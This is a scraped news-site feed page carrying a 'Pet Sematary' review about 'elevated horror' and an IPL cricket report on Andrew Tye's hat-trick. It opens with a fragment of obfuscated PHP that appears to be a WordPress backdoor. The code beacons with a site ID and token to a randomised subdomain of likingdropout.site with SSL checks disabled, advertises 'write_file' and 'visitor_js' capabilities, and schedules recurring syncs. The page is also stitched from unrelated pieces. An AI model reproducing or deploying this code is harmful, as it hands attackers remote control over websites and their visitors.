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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); wicket – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 05 Apr 2019 04:28:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png wicket – Brief News https://briefnews.eu 32 32 ‘Pet Sematary’ and the Sticky Wicket of “Elevated Horror” https://briefnews.eu/pet-sematary-and-the-sticky-wicket-of-elevated-horror/ https://briefnews.eu/pet-sematary-and-the-sticky-wicket-of-elevated-horror/#respond Fri, 05 Apr 2019 04:28:49 +0000 http://briefnews.eu/pet-sematary-and-the-sticky-wicket-of-elevated-horror/

“Look, he’s right there,” Ellie says, and she points towards the closet. Her parents have come to tell her that her cat ran away — softening the real story, that her cat was hit by a truck and killed — but we know, because we’ve come to see Pet Sematary, that the cat has returned from the dead. So Ellie points to her bedroom closet, and the camera pushes in on the slightly ajar closet door, ever so slowly, and the creepy music swells, and we giggle in anticipation, and then the the cat hisses, and we jump. And then we giggle again, because it’s fun to be scared together. We all know how this goes, and what our role is in this particular interchange.

It’s a textbook horror movie moment, and it works the way it’s supposed to in Kevin Kölsch and Dennis Widmyer’s take on Stephen King’s masterful 1983 novel (his best, for my money). The movie is full of moments like that, tropes and devices (and, occasionally, clichés) typical of mainstream scary movies, so it’s downright baffling that the film is being positioned and promoted as “elevated horror,” the semi-recent branding bugaboo that’s become something of a cause célèbre among horror critics and fans.

It’s been floating around for a couple of years now, usually attached to movies that dazzle critics at midnight shows at Sundance — things like The Babadook, The Witch, and Hereditary — but whose boosters and, often, creators want the rabble to understand that they’re not just any ol’ horror movie; they deal in serious subjects and have real actors and may not have a scare a minute or a lot of gore or any of the things that people who don’t watch a lot of horror assume horror movies are made of.

And, indeed, it feels like this new Pet Sematary may well have been fast-tracked after Hereditary; it takes a similar approach to this earlier story of familial grief and parental responsibility, and likewise features a high-caliber cast (including Jason Clarke, Amy Seimetz, John Lithgow), and is shot with a familiar dirty-dishwater approach to cinematography. When a studio publicist assured me in an email, without prompting, that “it definitely fits the elevated horror genre,” I cringed but shrugged; they’ve got a movie to sell. But when its own director threw the phrase around after its SXSW premiere (“It’s not about vampires or werewolves… but [Paramount] got behind it and saw it as a very elevated horror film”), it became clear that these are the terms they’re setting.

And frankly, they’re ridiculous. Because if anything should get to just be regular ol’ horror, it’s a film adaptation of an ‘80s Stephen King book.

The premise remains one of King’s best; it’s easy to see why it sold so well, and has proven such catnip to moviemakers. Louis and Rachel Creed (Clarke and Seimetz) move their family to Maine, into a rural home that’s pretty idyllic, except for the tractor trailers that go roaring by every once in a while. Before long, one of them runs over the family cat, and the old-timer next door (Lithgow) encourages Louis to bury it in what turns out to be a Native American burial ground, and sure enough, the kitty comes back – but he’s different, nasty and smelly, prone to scratching and worse. But while they’re struggling with all of this, their daughter is killed in a horrible accident. And now Louis knows a way to bring her back.

Alas, that simple and elegant premise has been transformed into secondhand claptrap by directors Kölsch and Widmyer. Much was made of their decision to flip the dead kid from the family’s toddler son to their older daughter, but this isn’t particularly objectionable (though it mostly feels like it was made to allow for some egregiously broad quotations of The Exorcist). It’s their alterations to the third act that ultimately sink this already dodgy adaptation; the entire climax is deeply, deeply stupid, and the final scene gets more repugnant the more you think about it, and the more you connect it to the opening images.

Pet Sematary isn’t a complete waste. Jeté Laurence is smashing as little Ellie, particularly the chilling second half of the performance. Seimetz gets a couple of juicy acting moments to sink her teeth into – her reaction to seeing her dead daughter again is a remarkable juggling act, three or four powerful emotions slugging it out -and she and Clarke get a real bead on their complicated marital dynamic. But he flounders without her; this is a next-to-impossible role, and try as he might, Clarke can’t fix it. Lithgow is terrific in his flannel shirts and bushy beard, in a role that capitalizes on his gift for speaking directly, but hinting at more. But even he can’t make heads or tails of the scene where he tries to explain his murky motivations; after conveying the tale of the beloved family dog his father ended up having to put down a second time, he shrugs, “I thought it would be different with Ellie’s cat.” WHY DID YOU THINK THAT, JOHN LITHGOW?

But back to this “elevated horror” nonsense: you don’t get to throw in a bunch of cheap jump scares and other pat devices, and then insist that you’re above the genre fray. In addition to the frequent roaring trucks, Pet Sematary lingers on medical oddities, emergency room blood, unnervingly gory kid art, and creaky old houses with things lurking in the basement dark. It’s like a laundry list of horror clichés. And that’s fine. Just own it.

To be clear, this viewer isn’t as dead-set against the idea behind “elevated horror” as some others who’ve written on the subject; labels are helpful, after all, be they “prestige drama” or “slapstick comedy” or even something like “art horror,” which was widely (and accurately) applied to last year’s Suspiria remake. It’s good to let people know what they’re in for, if for no other reason than to circumvent disappointment, and end up with a perfectly good movie like It Comes at Night sporting a “D” CinemaScore.

It’s this particular verbiage, it seems, that grates; the “elevated” modifier explicitly posits the notion that this particular strain of high-minded moviemaking is above its lowly plain-horror brethren. The problem with that thinking is that horror should be disreputable; the great horror classics, from Night of the Living Dead to Texas Chainsaw Massacre to the original Suspiria, all were. The notion that this new classification is necessary for critic-friendly horror is borne out of an antiquated (and perhaps always inaccurate) idea of critical necessity when it comes to genre film. They’ve always been critic-proof, even back when Siskel & Ebert were devoting entire shows to dragging horror; nowadays, there are plenty of critics who just plain dig horror, the less “elevated” the better.

Most importantly to the matter at hand, even if you subscribe to those terms, Pet Sematary doesn’t fit them. It’s woefully, sometimes irritatingly average, and if you’re going to go around insisting that your horror movie is better than most, you’d better be damn sure that it is.

“Pet Sematary” is out tonight in wide release.

Amy Seimetz    Dennis Widmyer    Hereditary    It Comes at Night    Jason Clarke    Jeté Laurence    John Lithgow    Kevin Kolsch    Night of the Living Dead    Pet Sematary    Stephen King    Suspiria    The Babadook    The Texas Chain Saw Massacre    The Witch

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Gujarat Lions cricketer Andrew Tye celebrates a wicket.

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AUSSIE quick Andrew Tye made a dream Indian Premier League debut with a hat-trick, a five-wicket haul and the $ 2.8 million wicket of Ben Stokes to earn the revamped Gujarat Lions a thumping seven-wicket victory over Steve Smith’s Rising Pune Supergiant.

Tye, on a relatively modest $ 103,000 contract and one of the four changes made by the Lions, finished with 5-17 and restricted Supergiant to 8-171.

“It was a pretty good feeling,” Tye said. “My first game today, to bowl the way I did was pretty good and then a hat-trick in there to top it off was a pretty good feeling as well.”

Tye utilised his array of slower balls in his first-game masterclass.

“Every surface is different, so you’ve just got to figure out which slower ball is probably going to work best on certain surfaces,” he said. “Tonight I figured out that it was a bit slow and that the knuckleball would work pretty well.”

It was a match in which the Australians shone brightest, Smith top-scoring for Pune with a knock of 43 off 28 balls that included six fours and one six – and also a painful blow to the ribs from paceman Basil Thampi, which dropped him to the ground when he was on 37.

Aaron Finch also blasted 33 not out off 19 deliveries for Gujarat, hitting three fours and two sixes at the end of the innings.

Andrew Tye (R) celebrates one of his five wickets.

Andrew Tye (R) celebrates one of his five wickets.Source:AFP

Tye, though, was the star and named man of the match. He claimed the wickets of Ankit Sharma, Manoj Tiwari, and Shardul Thakur in the last over for his hat-trick.

He’d earlier taken the scalps of Rahul Tripathi (33) and Stokes (25, clean bowled) and could have had one more wicket in his last over but Ajay Jadeja, also playing his first game for the Lions, dropped a catch at midwicket.

Pune’s win was sealed thanks to controlled batting from Brendon McCullum (49) and Dwayne Smith (47) who carried the Lions to 3-172 in 18 overs for their first win.

Both batsmen tormented Supergiant bowlers with a 94-run opening stand off 53 balls, and negated the spin threat of Imran Tahir, who finished with 1-53.

Andrew Tye (L) celebrates with captain Suresh Raina after taking his hat-trick.

Andrew Tye (L) celebrates with captain Suresh Raina after taking his hat-trick.Source:AFP

Tye wasn’t the only bowler to snag a hat-trick on the day though. West Indies legspinner Samuel Badree also took a hat-trick but his impressive figures of 4-9 couldn’t stop last year’s finalists Royal Challengers Bangalore from losing to the Mumbai Indians by four wickets.

Kieron Pollard’s 70 led Mumbai to a come-from-behind four-wicket win while chasing 143 runs against Royal Challengers Bangalore in India skipper Virat Kohli’s return from injury.

Badree’s maiden hat-trick put Mumbai in real trouble at 4-7 and the legspinner finished with 4-9 as he limited Mumbai to5-33 by the eighth over. Badree had Parthiv Patel caught close to the wicket; Mitchell McClenaghan mistimed a low full toss and offered a tame catch at long on, and then the legspinner completed the hat-trick by clean bowling captain Rohit Sharma off a googly.

Samuel Badree (2R) celebrates a wicket.

Samuel Badree (2R) celebrates a wicket.Source:AFP

Pollard and Kurnal Pandya (37 not out) then revived Mumbai’schase with a remarkable 93-run stand off 57 balls and batted brilliantly against the two other spinners Yuzvendra Chahal and Pawan Negi.

Pollard hit five sixes and three fours before he holed out in the deep with Mumbai needing only 17 runs off 15 deliveries.

“I just thought these are the situations when champions are made and struck to my strength by hitting down the ground,” Pollard said of his remarkable innings.

Hardik Pandya then struck the winning six off Tymal Mills as Mumbai Indians reached 6-145 with six balls to spare.

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